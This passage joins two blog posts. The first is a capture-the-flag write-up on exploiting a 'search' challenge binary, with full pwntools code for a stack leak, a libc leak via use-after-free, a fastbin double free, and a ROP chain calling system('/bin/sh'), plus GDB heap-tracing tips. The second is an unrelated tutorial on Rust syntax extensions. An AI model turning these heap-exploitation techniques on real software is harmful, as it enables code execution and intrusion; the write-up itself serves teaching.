Now that we understand the binary, we can talk about how to exploit it. The general approach will be to call system('/bin/sh'). However, we don’t know the address of system because of ASLR. We will thus need a libc leak to calculate this address. In order to jump to this code, we will need to control a return address of a function. Our analysis of the code shows that a double free is likely, which means we may be able to write to “arbitrary” memory by making a chunk in the free list point to the memory we want to write to (we can’t exactly write anywhere, as there a few checks we need to pass. Hence the quotes around “arbitrary”). We won’t be able to write a GOT address without failing these checks, but we may be able to pass these checks if we overwrite a return address on the stack instead (the details of why are explained in the corresponding section). However, in order to overwrite a return address on the stack, we need a stack leak (again because of ASLR).

Thus, our approach will 1) leak a stack address, 2) leak a libc address, 3) get a double free, and 4) use the double free to overwrite a return address to a call to system(/bin/sh).

Getting a stack leak

The stack leak is the easiest part of the exploit, so we’ll start with that.

Here’s a basic pwntools script to fill up the buffer and see it printed. As mentioned in the previous section, read_until_newline is backed by read which does not terminate it’s input with a NULL byte, so filling up the buffer will leak any memory after it until we hit a NULL byte.

#!/usr/bin/env python2

from pwn import *

context(arch="amd64", os="linux")

p = process('./search-bf61fbb8fa7212c814b2607a81a84adf')
# gdb.attach(p, '''
# ''')

def main():
    p.sendline('A' * 48)
    p.interactive()

if __name__ == '__main__':
    main()

You can comment in the gdb.attach section when you want to attach gdb to the binary.

Running the script gives:

$ ./solve.py
[+] Starting local process './search-bf61fbb8fa7212c814b2607a81a84adf': Done
[*] Switching to interactive mode
1: Search with a word
2: Index a sentence
3: Quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not a valid number

So no leak. This isn’t surprising considering the code isn’t storing any data in that location in this particular function. We were hoping to get lucky and leak any previous data stored there, but we can open up GDB and confirm that memory is filled with zeros. Luckily, instead of looping whenever the input is invalid, the binary recurses instead. This means we can shift the stack lower and see if we get lucky somewhere else!

Let’s try sending the same string again:

$ ./solve.py
[+] Starting local process './search-bf61fbb8fa7212c814b2607a81a84adf': Done
[*] Switching to interactive mode
1: Search with a word
2: Index a sentence
3: Quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not a valid number
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfe\x7f is not a valid number

We have a leak! Note that we occassionally get unlucky and have a null byte in the leaked address, but this doesn’t happen too often so it isn’t a problem. We can now parse out this address using Python:

def leak_stack():
    # p.sendline('A'*48)
    # p.recvuntil('Quit\n')
    # p.recvline()

    # doesn't work all the time
    p.sendline('A'*48)
    leak = p.recvline().split(' ')[0][48:]
    return int(leak[::-1].encode('hex'), 16)

We’ll use this function in our final exploit.

Getting a libc leak

This part of the exploit took me some time to come up with. The main observation we can make is that if we can exploit the UAF to allocate a sentence on top of a Word node, we can then control the sentence pointer. We can then search for words in that sentence, and when we get a match, the sentence will be printed, and since we control that pointer we can read arbitrary memory.

Another important observation is that when a sentence is zeroed out, the words of that sentence are also zeroed out because words are simply pointers into the original sentence. However, if we can bypass the sentence NULL check (using the UAF), then we can still match on words by matching on the empty string!

Using that information, we come up with the following plan:

Allocate a sentence that has the same length as a Word node (40 bytes).
Delete the sentence.
Index a new sentence that is more than 16 bytes greater than the original sentence (so that it doesn’t reuse the chunk we just freed). When we create this sentence, a new Word node is allocated where our original sentence is.
The sentence we originally freed is no longer NULL, because there’s a Word on top of it! That means the NULL check is bypassed. We can then search for an empty string to match a word in the sentence (as long as that word is still NULL and was not overwritten).
We now have a 40 byte free chunk in a fastbin, but that same chunk is still being used as a Word node. Thus, we can allocate a new 40 byte sentence and put a fake node in this sentence, thus setting the sentence pointer to whatever we want (we’ll leak a GOT address).
When we search for that Word node, when we get a match the sentence will be printed, which will leak memory.

This is implemented in the following function, which is commented with some of the details.

def leak_libc():
    # this sentence is the same size as a list node
    index_sentence(('a'*12 + ' b ').ljust(40, 'c'))

    # delete the sentence
    search('a' * 12)
    p.sendline('y')

    # the node for this sentence gets put in the previous sentence's spot.
    # note we made sure this doesn't reuse the chunk that was just freed by
    # making it 64 bytes
    index_sentence('d' * 64)

    # free the first sentence again so we can allocate something on top of it.
    # this will work because 1) the sentence no longer starts with a null byte
    # (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
    # the location where our original string contained `b` is guaranteed to be
    # zero. this is because after the original sentence was zeroed out, nothing
    # was allocated at offset 12, which is just padding in the structure. if
    # we had made the first word in the string 16 bytes instead of 12, then that
    # would put 'b' at a location where it would not be guaranteed to be zero.
    search('\x00')
    p.sendline('y')

    # make our fake node
    node = ''
    node += p64(0x400E90) # word pointer "Enter"
    node += p64(5) # word length
    node += p64(0x602028) # sentence pointer (GOT address of free)
    node += p64(64) # length of sentence
    node += p64(0x00000000) # next pointer is null
    assert len(node) == 40

    # this sentence gets allocated on top of the previous sentence's node.
    # we can thus control the sentence pointer of that node and leak memory.
    index_sentence(node)

    # this simply receives all input from the binary and discards it, which
    # makes parsing out the leaked address easier below.
    p.clean()

    # leak the libc address
    search('Enter')
    p.recvuntil('Found 64: ')
    leak = u64(p.recvline()[:8])
    p.sendline('n') # deleting it isn't necessary
    return leak

One important note is that the choice of GOT address (0x602028 in this case) is important. I originally used a different GOT address, whose corresponding function just happened to have a least significant byte of zero. This means that the corresponding sentence is an empty string. This is entirely dependent on your libc.

Alternate libc leak

After I solved this problem, I was looking up other solutions, and I saw a useful technique used by PPP’s solution.

The fastbins are different from small and large bins in that only the forward pointers are used for fastbins. For the other bins, the first index in each list is a libc address (probably pointing to the address of the index in the array, but I’m not completely sure). So if we allocate a small bin sized sentence instead (simply by allocating a chunk larger than 128 bytes), free the sentence, and then print the sentence (by matching on a word with an empty string), we’d print the small bin, including the libc address.

While I’ll definitely be using this trick in the future, the rest of this post assumes my original method of leaking a libc address.

Exploiting a double free

So we have a stack leak and a libc leak, now we just need to be able to overwrite a return address on the stack. Let’s start by figuring out how to get a double free, and then we can figure out how to exploit it later.

For our first attempt, let’s create two sentences: 'a'*54 + ' d' (let’s call this sentence_a) and 'b'*54 + ' d' (let’s call this sentence_c). The reason we choose sentences of size 56 is that this puts us in the fastbin of size 64, which prevents the allocations of the Word nodes (40 bytes puts them in the 48 byte fastbin) and search words (the words we search for are small enough to fit in the 32 byte fastbin). If we allocate and free these two sentences (by searching for the word ’d’), we have our fastbin looks like sentence_a_addr -> sentence_b_addr -> NULL, since the sentence with ‘b’s is freed first. Then let’s try to get a double free by searching for ‘\x00’, since we know that the zeroed out ’d’ byte should still be zero. We first iterate over both words in the sentence with ‘b’s, but the sentence pointer points to an empty string (because this is the last element in the linked list), so we don’t double free this sentence. However, since sentence_a_addr points to sentence_b_addr (which is not NULL), we pass the NULL check and free this sentence. Our fastbin list would now look something like sentence_a_addr -> sentence_a_addr -> sentence_b_addr, however glibc prevents us from doing that. glibc checks to see whether two adjacent chunks in the free list have the same address, aborting if this is the case.

We can easily fix this problem by allocating three strings of length 56 instead of two. Following the same steps as above, we would start off with a fastbin list like sentence_a_addr -> sentence_b_addr -> sentence_c_addr -> NULL, and then after searching for ‘\x00’ we would match on sentence_b, and the free list would look like: sentence_b_addr -> sentence_a_addr -> sentence_b_addr -> .... We’ve created our double free cycle! We will also match on sentence_a in this case, but we’ll choose not to delete it. Here’s the code:

def index_sentence(s):
    p.sendline('2')
    p.sendline(str(len(s)))
    p.sendline(s)

def search(s):
    p.sendline('1')
    p.sendline(str(len(s)))
    p.sendline(s)

def make_cycle():
    index_sentence('a'*54 + ' d')
    index_sentence('b'*54 + ' d')
    index_sentence('c'*54 + ' d')

    search('d')
    p.sendline('y')
    p.sendline('y')
    p.sendline('y')
    search('\x00')
    p.sendline('y')
    p.sendline('n')

Now that we have our double free, what can we do with it? We can first allocate a new sentence of size 56, and we’d get back the sentence_b chunk. We’d put a fake heap chunk (in particular a fake fwd pointer) in this sentence, and since this heap chunk is still in the free list (because we created that cycle), we can thus control the next chunk in the free list! We can make the fake chunk with the function below:

def make_fake_chunk(addr):
    # set the fwd pointer of the chunk to the address we want
    fake_chunk = p64(addr)
    index_sentence(fake_chunk.ljust(56))

The next question is what address we pass to it. We can’t just make our fake chunk anywhere, because glibc checks to make sure the size of the chunk matches up with the fastbin it’s in. In our case, our chunk is 64 bytes, which is 0x40, so our index is 2. We can thus only create a chunk in a location where this condition will be satisfied, meaning we need to allocate our chunk in a place where the size is between 0x40 and 0x4F inclusive (The index is calculated with (size >> 4) - 2), which is why this works). This is why we can’t overwrite a GOT address, as mentioned in the first section. My original idea was to start indexing a string, but when asked for the size of a string, put a long invalid string that ends with the qword 0x40. Then we allocate our chunk there (which is easy because we have a stack leak), and then we can overwrite the return address. This almost worked, but if you look in the index function you’ll see there’s a puts between read_num and malloc, which modifies the stack and removes the 0x40 we put on it.

At this point I decided to just dump the stack and see if there was already a 0x40 I could use on it. After running telescope $rsp 20 in pwndbg, I saw a bunch of code segment addresses that started with the byte 0x40 very close to the return address of the function. We could thus use this as the size of our fake heap chunk. We use ROPGadget to find a pop rdi; ret gadget at 0x400e23, and we use that with the address of ‘/bin/sh’ and system in the libc (calculated with the libc leak) to spawn a shell. The code for this is below, and you can find the full exploit at the bottom of this post.

pop_rdi_ret = 0x400e23

def allocate_fake_chunk(binsh_addr, system_addr):
    # allocate twice to get our fake chunk
    index_sentence('A'*56)
    index_sentence('B'*56)

    # overwrite the return address
    buf = 'A'*30
    buf += p64(pop_rdi_ret)
    buf += p64(binsh_addr)
    buf += p64(system_addr)
    buf = buf.ljust(56, 'C')

    index_sentence(buf)

Tips

I added a few commands to pwndbg a while ago to display some useful heap information (as long as your libc has debugging symbols), but it seems like most people don’t know about them. bins displays the fastbins, and heap displays all the chunks in the heap. malloc_chunk <addr> prints a nicely formatted chunk at the supplied address. I’ll be improving these commands using some of the lessons learned from this problem.

One neat trick I used was based on something I saw in a livestream by Gynvael, captain of Dragon Sector. Essentially instead of breaking on every malloc and free and inspecting memory/registers or using the bins or heap commands to see what’s getting allocated, we can simply print out that information as it happens. Put the following code in helper.py:

import gdb

last_size = None
malloc_map = {}

def ExprAsInt(expr):
    return int(str(gdb.parse_and_eval("(void*)(%s)" % expr)).split(" ")[0], 16)

class MallocFinishBreakpoint(gdb.FinishBreakpoint):
    def __init__ (self):
        gdb.FinishBreakpoint.__init__(
            self,
            gdb.newest_frame(),
            internal=True,
        )
        self.silent = True

    def stop(self):
        where = ExprAsInt('$rax')
        print("0x%.8x <---- malloc of 0x%x bytes" % (where, last_size))

        if where in malloc_map:
            print("[!] where already in malloc map")
        malloc_map[where] = last_size

        return False

class MallocBreakpoint(gdb.Breakpoint):
    def __init__(self):
        gdb.Breakpoint.__init__(self, 'malloc', internal=True)
        self.silent = True

    def stop(self):
        global last_size
        last_size = ExprAsInt('$rdi')
        MallocFinishBreakpoint()

        return False

class FreeBreakpoint(gdb.Breakpoint):
    def __init__ (self):
        gdb.Breakpoint.__init__(self, 'free', internal=True)
        self.silent = True

    def stop(self):
        where = ExprAsInt('$rdi')
        if where in malloc_map:
            print("0x%.8x <---- free of 0x%x bytes" % (where, malloc_map[where]))
            del malloc_map[where]
        else:
            print("0x%.8x <---- free (not in malloc map?!)" % where)

MallocBreakpoint()
FreeBreakpoint()

You can source it with source helper.py in GDB, but I’d recommend putting it in a directory-local .gdbinit. Now as the program runs, you’ll see messages like:

0x00603010 <---- malloc of 0xa bytes
0x00603010 <---- free of 0xa bytes

I’m going to be working on getting this functionality into pwndbg.

This last tip was also taken from Gynvael’s livestream. You can put structs into a C file (like the Word struct file above), compile them with gcc -gstabs -c structs.c -o structs.o, and then load them in GDB with add-symbol-file structs.o 0. Then if you have a pointer to that struct at address 0xabcd, you can easily dump that struct with p *(struct Word*)0xabcd and see all the fields of the struct. You can even use that struct in loops. For example, you can give the following GDB function an address to a Word* and it’ll print out the entire Word list:

define plist
  set $iter = (struct Word*)$arg0
  while $iter
    print *$iter
    set $iter = $iter->next
  end
end

The output after indexing the sentence ‘a b’ and ‘c d’ looks like:

pwndbg> plist 0x006030e0
$1 = {
  word_ptr = 0x603092 "d",
  word_len = 1,
  field_C = 0,
  sentence = 0x603090 "c d",
  sentence_size = 3,
  field_1C = 0,
  next = 0x6030b0
}
$2 = {
  word_ptr = 0x603090 "c d",
  word_len = 1,
  field_C = 0,
  sentence = 0x603090 "c d",
  sentence_size = 3,
  field_1C = 0,
  next = 0x603060
}
$3 = {
  word_ptr = 0x603012 "b",
  word_len = 1,
  field_C = 0,
  sentence = 0x603010 "a b",
  sentence_size = 3,
  field_1C = 0,
  next = 0x603030
}
$4 = {
  word_ptr = 0x603010 "a b",
  word_len = 1,
  field_C = 0,
  sentence = 0x603010 "a b",
  sentence_size = 3,
  field_1C = 0,
  next = 0x0
}

Putting all this inside a .gdbinit in the local directory is a convenient way of loading all this automatically:

!gcc -gstabs -c structs.c -o structs.o
add-symbol-file structs.o 0

source helper.py

define plist
  set $iter = (struct Word*)$arg0
  while $iter
    print *$iter
    set $iter = $iter->next
  end
end

Full exploit

The full exploit is provided below. Remember that you’ll need to change the offsets for a different libc. You also may need to run it a few times because the stack leak occassionally fails, as mentioned above.

#!/usr/bin/env python2

from pwn import *

context(arch="amd64", os="linux")

p = process('./search-bf61fbb8fa7212c814b2607a81a84adf')

pop_rdi_ret = 0x400e23
system_offset = 0x46590
puts_offset = 0x6fd60
binsh_offset = 1558723

def leak_stack():
    p.sendline('A'*48)
    p.recvuntil('Quit\n')
    p.recvline()

    # doesn't work all the time
    p.sendline('A'*48)
    leak = p.recvline().split(' ')[0][48:]
    return int(leak[::-1].encode('hex'), 16)

def leak_libc():
    # this sentence is the same size as a list node
    index_sentence(('a'*12 + ' b ').ljust(40, 'c'))

    # delete the sentence
    search('a' * 12)
    p.sendline('y')

    # the node for this sentence gets put in the previous sentence's spot.
    # note we made sure this doesn't reuse the chunk that was just freed by
    # making it 64 bytes
    index_sentence('d' * 64)

    # free the first sentence again so we can allocate something on top of it.
    # this will work because 1) the sentence no longer starts with a null byte
    # (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
    # the location where our original string contained `b` is guaranteed to be
    # zero. this is because after the original sentence was zeroed out, nothing
    # was allocated at offset 12, which is just padding in the structure. if
    # we had made the first word in the string 16 bytes instead of 12, then that
    # would put 'b' at a location where it would not be guaranteed to be zero.
    search('\x00')
    p.sendline('y')

    # make our fake node
    node = ''
    node += p64(0x400E90) # word pointer "Enter"
    node += p64(5) # word length
    node += p64(0x602028) # sentence pointer (GOT address of free)
    node += p64(64) # length of sentence
    node += p64(0x00000000) # next pointer is null
    assert len(node) == 40

    # this sentence gets allocated on top of the previous sentence's node.
    # we can thus control the sentence pointer of that node and leak memory.
    index_sentence(node)

    # this simply receives all input from the binary and discards it, which
    # makes parsing out the leaked address easier below.
    p.clean()

    # leak the libc address
    search('Enter')
    p.recvuntil('Found 64: ')
    leak = u64(p.recvline()[:8])
    p.sendline('n') # deleting it isn't necessary
    return leak

def index_sentence(s):
    p.sendline('2')
    p.sendline(str(len(s)))
    p.sendline(s)

def search(s):
    p.sendline('1')
    p.sendline(str(len(s)))
    p.sendline(s)

def make_cycle():
    index_sentence('a'*54 + ' d')
    index_sentence('b'*54 + ' d')
    index_sentence('c'*54 + ' d')

    search('d')
    p.sendline('y')
    p.sendline('y')
    p.sendline('y')
    search('\x00')
    p.sendline('y')
    p.sendline('n')

def make_fake_chunk(addr):
    # set the fwd pointer of the chunk to the address we want
    fake_chunk = p64(addr)
    index_sentence(fake_chunk.ljust(56))

def allocate_fake_chunk(binsh_addr, system_addr):
    # allocate twice to get our fake chunk
    index_sentence('A'*56)
    index_sentence('B'*56)

    # overwrite the return address
    buf = 'A'*30
    buf += p64(pop_rdi_ret)
    buf += p64(binsh_addr)
    buf += p64(system_addr)
    buf = buf.ljust(56, 'C')

    index_sentence(buf)

def main():
    stack_leak = leak_stack()

    # This makes stack_addr + 0x8 be 0x40
    stack_addr = stack_leak + 0x22 - 8

    log.info('stack leak: %s' % hex(stack_leak))
    log.info('stack addr: %s' % hex(stack_addr))

    libc_leak = leak_libc()
    libc_base = libc_leak - puts_offset
    system_addr = libc_base + system_offset
    binsh_addr = libc_base + binsh_offset

    log.info('libc leak: %s' % hex(libc_leak))
    log.info('libc_base: %s' % hex(libc_base))
    log.info('system addr: %s' % hex(system_addr))
    log.info('binsh addr: %s' % hex(binsh_addr))

    make_cycle()
    make_fake_chunk(stack_addr)
    allocate_fake_chunk(binsh_addr, system_addr)

    p.interactive()

if __name__ == '__main__':
    main()

How to write a Rust syntax extension

2015-05-02T01:34:29-04:00

While I was working on my ggp-rs project last week, I was having some trouble tracking down a strange bug that was happening. The relevant code was related to the unification, substitution, and general statement proving algorithms, which is a non-trivial piece of code to write, read, and debug. I started to put println! statements in various functions, sometimes just to see if the function was entered, and sometimes to see the value of some variables. After spending about half an hour on this bug, I got fed up with the code, took a step back, and started thinking of an easier, more structured approach to debugging the code. I realized that putting print statements in the code to trace execution is a common debugging practice used by myself and other developers all the time, and it might be possible to make this more convenient with the help of Rust’s syntax extensions/compiler plugins.

Syntax extensions are a cool feature that allow you to modify the AST at compile time, so you can generate your own code or modify existing code. After realizing this, I took a break from ggp-rs and wrote trace, a syntax extension for tracing the execution of programs. With trace, I was able to track my bug in about 10 minutes. Writing this syntax extension was a lot of fun, but also very challenging due to the lack of documentation on syntax extensions. The reason for the lack of documentation is due to the fact that syntax extensions are not stable and their API is very rough around the edges. However, writing this plugin made me realize how powerful syntax extensions are and how many useful projects could be made if there was some good documentation on how to use them. In this post, I’m going to try to cover the basics of how to write your own syntax extensions.

Note that because syntax extensions are unstable, these plugins will only work on the nightly compiler (unless you use something like rust-syntex, which I haven’t gotten a chance to try out). However, I still think learning how to use them now is worthwhile, as more people writing them will help them become stable faster, there will be more good feedback during the stabilization process, and because it’s a lot of fun.

Types of Syntax Extensions

There are six types of SyntaxExtensions you can define:

Decorator

A Decorator is an attribute that is attached to an item and creates new items without affecting the original item. For example, adding #[derive(..)] on a struct doesn’t modify the struct itself but adds a new ItemImpl to the AST. Note that when I say “item”, I’m referring to the variants of the Item_ enum. You can generally think of these things at top-level constructs, i.e. functions, mods, imports, etc.

Modifier

A Modifier is an attribute that modifies and replaces an item. For example, adding #[trace] (from my trace syntax extension) to a function will replace the original function with a new, modified version.

MultiModifier

A MultiModifer is the same thing as a modifier, but it can be applied to methods inside of traits and impls as well as top-level items. Hopefully MultiModifier and Modifier will get merged before the API is stabilized, as I don’t really see the point of having both.

NormalTT

A NormalTT looks like a regular macro, but has all the power of a compiler plugin. An example of a NormalTT is the concat! macro.

IdentTT

An IdentTT is the same as a NormalTT except there is an identifier after the macro name. The only example of an IdentTT I’ve seen is in rust-peg, where the extra identifier is used as the name of the module that will be generated.

MacroRulesTT

You don’t need to worry about this variant. It’s used for the regular types of macros you’d define with macro_rules!.

Registering a Syntax Extension

Now that you know the different types of syntax extensions you can write, let’s actually register one. Create a new Cargo project called “extension” (it’s often said that there are only two hard problems in computer science, cache invalidation and naming things).

Add the following code to lib.rs:

#![feature(plugin_registrar, rustc_private)]

extern crate syntax;
extern crate rustc;

use rustc::plugin::Registry;

use syntax::ptr::P;
use syntax::ast::{Item, MetaItem};
use syntax::ext::base::ExtCtxt;
use syntax::codemap::Span;
use syntax::ext::base::SyntaxExtension::Modifier;
use syntax::parse::token::intern;

#[plugin_registrar]
pub fn registrar(reg: &mut Registry) {
    reg.register_syntax_extension(intern("extension"), Modifier(Box::new(expand)));
}

fn expand(_: &mut ExtCtxt, _: Span, _: &MetaItem, item: P<Item>) -> P<Item> {
    println!("Hello world!");
    return item;
}

Here’s an example Cargo.toml:

[package]
name = "extension"
version = "0.0.1"

[lib]
name = "extension"
plugin = true

In the lib section, we add plugin = true. This makes sure that a dylib is built instead of an rlib when you run cargo build, as all syntax extensions need to be dynamically linked.

In the code, we declare a function that will be used to register our extension and add the #[plugin_registrar] attribute to it (note this requires the plugin_registrar feature to be enabled). When your syntax extension is loaded (we’ll get to loading it later), this function is called. We then call register_syntax_extension and pass in a Name (which is just an interned string, although I don’t see why the API couldn’t just take a normal &str) and the correct SyntaxExtension variant, which contains a boxed callback to the function that will do the actual work. In this case we use a Modifier, and our callback just prints to standard out and returns the original item without any modifications. We’ll come back to what the other arguments for the expand function are later. Once you have this extension registered, you can use the #[extension] attribute on any item. If you want to use on a parent item, you can use #![extension]. This is useful for using an attribute on a mod from inside the mod itself.

The only other thing to note is that if you’re registering a NormalTT extension, you should use the register_macro function instead of the register_syntax_extension function.

If you want to find out what interface of the callback looks like for a particular type of syntax extension, just click on the trait name inside the Box for that variant on the SyntaxExtension page. For example, the Modifier callback implements the ItemModifier trait. Because this is a trait, note that you can use structs that implement this trait instead of callbacks if you need to.

Loading a Syntax Extension

Loading our syntax extension is also straightforward:

#![feature(plugin, custom_attribute)]
#![plugin(extension)]

#[extension]
fn main() {
}

Put this in examples/example.rs and then run cargo run --example example.rs. You should see the text “Hello World” appear in during the compilation. Congratulations, you just wrote your first syntax extension!

Creating new AST nodes

Let’s try doing something more interesting, like creating new AST nodes.

Before I show an example of creating a new node, let’s quickly talk about what an AST node looks like. You can find all the AST nodes in the syntax::ast module. For example, take a look at the Item node. You can find the name of the item (i.e. the function name if this item is a function) and some other metadata about the node, like what attributes (attributes are things like #[...]) are attached to the node, what the span is, etc. The span represents the position of the code in the file and is used for error reporting. We’ll come back to how to effectively use that in a later section. The actual item itself is stored in the node field as an Item_. This enum contains the different types of items, like ItemMod, ItemFn, etc. This pattern of splitting a node into Node and Node_ is fairly common, so it’s useful to understand it early on.

Another thing about AST nodes is they’re often wrapped in P pointers. You can read more about this type of pointer in the module documentation, but you can just think of these as any other pointer type (i.e. Box, Rc, etc.).

To create a new node, you can use the ExtCtxt struct, which implements the AstBuilder trait. You should be able to find a method in that trait to make whatever AST node you want. There are also various quote_* macros that you can use to create nodes from actual code. These macros don’t appear in the documentation, but you can figure out what’s available by looking at what expansion functions exist in this module. Note that there might be a time where you want to create some node and the current API doesn’t offer any helper methods for it. In that case, you’ll have to create that node manually, which isn’t hard, but is very tedious. There’s a project called aster that’s supposed to make this easier, but I haven’t tried it out yet.

Let’s modify our expand function to compute the sum of two plus two, print the result, and return it. There are multiple ways to do this, but I’ll only show two of them. This first method is longer, but it’ll show you more about working with AST nodes. The second method is how I’d actually do it, and it’ll show how to use variables declared outside quote_* macros inside the macros themselves.

Here’s method one:

#![feature(quote, plugin_registrar, rustc_private)]

extern crate syntax;
extern crate rustc;

use rustc::plugin::Registry;

use syntax::ptr::P;
use syntax::ast::{Item, MetaItem, ItemFn, Ident};
use syntax::ext::base::ExtCtxt;
use syntax::codemap::Span;
use syntax::ext::base::SyntaxExtension::Modifier;
use syntax::parse::token::intern;
use syntax::ext::build::AstBuilder;

use syntax::codemap;

#[plugin_registrar]
pub fn registrar(reg: &mut Registry) {
    reg.register_syntax_extension(intern("extension"), Modifier(Box::new(expand)));
}

fn expand(cx: &mut ExtCtxt, _: Span, _: &MetaItem, item: P<Item>) -> P<Item> {
    if let ItemFn(..) = item.node {
        let expr = quote_expr!(cx,
            {
                let sum = 2 + 2;
                println!("{}", sum);
                sum
            });
        let new_block = cx.block_expr(expr);
        let inputs = vec![];
        let u32_ident = Ident::new(intern("u32"));
        let ret_type = cx.ty_path(cx.path_ident(codemap::DUMMY_SP, u32_ident));
        cx.item_fn(codemap::DUMMY_SP, item.ident, inputs, ret_type, new_block)
    } else {
        item.clone()
    }
}

Change example.rs to look like this:

#![feature(plugin, custom_attribute)]
#![plugin(extension)]

fn main() {
    foo();
}

#[extension]
fn foo() {
}

We use the quote_expr! macro which returns a P<Expr>. We can then use this expression to create a new Block. We create an empty vector for the inputs, and use a u32 for the return type. We then supply all of these variables to the ExtCtxt to create a new P<Item>, which is really an ItemFn.

Note that I didn’t really know the methods for creating the u32 return type of the top of my head. These types of things aren’t worth learning/memorizing. If you ever need to make a type, first look at the AstBuilder methods to find what returns the type you want, see what types of arguments the method requires, and if you need to make any more nodes to pass as arguments, repeat the process.

Here’s the second way of doing this:

fn expand(cx: &mut ExtCtxt, _: Span, _: &MetaItem, item: P<Item>) -> P<Item> {
    if let ItemFn(..) = item.node {
        quote_item!(cx,
            fn foo() -> u32 {
                let sum = 2 + 2;
                println!("{}", sum);
                sum
            }
        ).unwrap()
    } else {
        item.clone()
    }
}

Here we use quote_item! to create a P<Item> directly, instead of creating the inner block expression and constructing a function from that. Note that this macro returns an Option which is None if the parsing fails, unlike quote_expr! which always returns an expression.

This gets the job done, but the problem with this is that we can only use this macro with functions that have the name foo. Instead, we can dynamically choose the name by getting the name from the item:

fn expand(cx: &mut ExtCtxt, _: Span, _: &MetaItem, item: P<Item>) -> P<Item> {
    if let ItemFn(..) = item.node {
        let name = item.ident;
        quote_item!(cx,
            fn $name() -> u32 {
                let sum = 2 + 2;
                println!("{}", sum);
                sum
            }
        ).unwrap()
    } else {
        item.clone()
    }
}

Here we get the Name from the item and use it inside the macro by prepending a dollar sign to it. Any type that implements the ToTokens trait can be used like this. Note that it doesn’t work with struct fields or methods, i.e. $foo.bar or $foo.bar() won’t work. You have to assign the result of those expressions to a variable outside the macro, and then use that variable inside the macro.

Token Trees

I mentioned the ToTokens trait in the last section, which returns a vector of TokenTrees representing the struct it was implemented on. But what is a TokenTree?

Imagine we call a function foo like this: foo(a, b, c). The first stage of a compiler is lexical analysis, where text like this is turned into tokens. The tokens for the arguments of this function (so not including the name or the parenthesis) would looks like this:

[TtToken(Span { lo: BytePos(0), hi: BytePos(0), expn_id: ExpnId(4294967295) }, Ident(a#0, Plain)),
 TtToken(Span { lo: BytePos(0), hi: BytePos(0), expn_id: ExpnId(4294967295) }, Comma),
 TtToken(Span { lo: BytePos(0), hi: BytePos(0), expn_id: ExpnId(4294967295) }, Ident(b#0, Plain)),
 TtToken(Span { lo: BytePos(0), hi: BytePos(0), expn_id: ExpnId(4294967295) }, Comma),
 TtToken(Span { lo: BytePos(0), hi: BytePos(0), expn_id: ExpnId(4294967295) }, Ident(c#0, Plain))]

It’s a bit verbose, but you can see that it concretely describes the text that represents the arguments and includes things we don’t normally think about, like commas.

Now let’s say we want to write a syntax extension that prints out the values of all the arguments when a function is called. We can figure out how many arguments the function has easily, so we can construct the appropriate format string to pass to println!. But the number of arguments println! takes depends on the number of arguments the function takes, and this varies, so it’s not immediately obvious how we can do this.

The solution here is to use TokenTrees. Because TokenTrees are a direct representation of the code, we can convert them directly into code. That’s why all dollar-prepended variables in an quote macro need to implement the ToTokens trait, so there’s an easy way to turn it into code. That means if we can construct a token tree that looks like a, b, c, we can plug that in as the second argument of println! and it will expand to valid code. Here’s a full example:

#![feature(quote, plugin_registrar, rustc_private, collections)]

extern crate syntax;
extern crate rustc;

use rustc::plugin::Registry;

use syntax::ptr::P;
use syntax::ast::{self, FnDecl, Item, MetaItem, ItemFn, Ident, TokenTree, TtToken};
use syntax::codemap::{self, Span};
use syntax::ext::base::ExtCtxt;
use syntax::ext::base::SyntaxExtension::Modifier;
use syntax::ext::build::AstBuilder;
use syntax::ext::quote::rt::ToTokens;
use syntax::parse::token::{self, intern};

use std::slice::SliceConcatExt;

#[plugin_registrar]
pub fn registrar(reg: &mut Registry) {
    reg.register_syntax_extension(intern("extension"), Modifier(Box::new(expand)));
}

fn expand(cx: &mut ExtCtxt, _: Span, _: &MetaItem, item: P<Item>) -> P<Item> {
    if let ItemFn(ref decl, style, abi, ref generics, ref block) = item.node {
        let idents = arg_idents(decl);
        let args: Vec<TokenTree> = idents
            .iter()
            .map(|ident| vec![token::Ident((*ident).clone(), token::Plain)])
            .collect::<Vec<_>>()
            .connect(&token::Comma)
            .into_iter()
            .map(|t| TtToken(codemap::DUMMY_SP, t))
            .collect();

        println!("{:?}", args);
        let format_str = idents.iter().map(|_| "{}".to_string()).collect::<Vec<_>>().connect(" ");
        let expr = quote_expr!(cx,
            {
                println!($format_str, $args);
                $block
            }
        );
        let new_block = cx.block_expr(expr);
        let new_item = ItemFn(decl.clone(), style, abi, generics.clone(), new_block);
        cx.item(item.span, item.ident, item.attrs.clone(), new_item)
    } else {
        item.clone()
    }
}

fn arg_idents(decl: &FnDecl) -> Vec<Ident> {
    fn extract_idents(pat: &ast::Pat_, idents: &mut Vec<Ident>) {
        match pat {
            &ast::PatWild(_) | &ast::PatMac(_) | &ast::PatEnum(_, None) | &ast::PatLit(_)
                | &ast::PatRange(..) | &ast::PatQPath(..) => (),
            &ast::PatIdent(_, sp, _) => if sp.node.as_str() != "self" { idents.push(sp.node) },
            &ast::PatEnum(_, Some(ref v)) | &ast::PatTup(ref v) => {
                for p in v {
                    extract_idents(&p.node, idents);
                }
            }
            &ast::PatStruct(_, ref v, _) => {
                for p in v {
                    extract_idents(&p.node.pat.node, idents);
                }
            }
            &ast::PatVec(ref v1, ref opt, ref v2) => {
                for p in v1 {
                    extract_idents(&p.node, idents);
                }
                if let &Some(ref p) = opt {
                    extract_idents(&p.node, idents);
                }
                for p in v2 {
                    extract_idents(&p.node, idents);
                }
            }
            &ast::PatBox(ref p) | &ast::PatRegion(ref p, _) => extract_idents(&p.node, idents),
        }
    }
    let mut idents = vec!();
    for arg in decl.inputs.iter() {
        extract_idents(&arg.pat.node, &mut idents);
    }
    idents
}

The arg_idents function takes a function declaration and returns the names of all the arguments appearing in the declaration. It may look a bit complicted, but it’s really not. It just recurses on each type of pattern you could have in a function argument until it finds an Ident, and then it adds it to a list.

In the expand function, we convert the Vec<Ident> to a Vec<Token> where each Token is just an Ident. Then we connect the Ident tokens with Comma tokens. Finally, we wrap each token in the TtToken variant of the TokenTree enum and return a vector of all the tokens. The tokens use a dummy span, which we’ll talk about briefly later.

Now that we have a TokenTree we can create our format string and use this format string as well as our TokenTree in the println! function, and the code should compile.

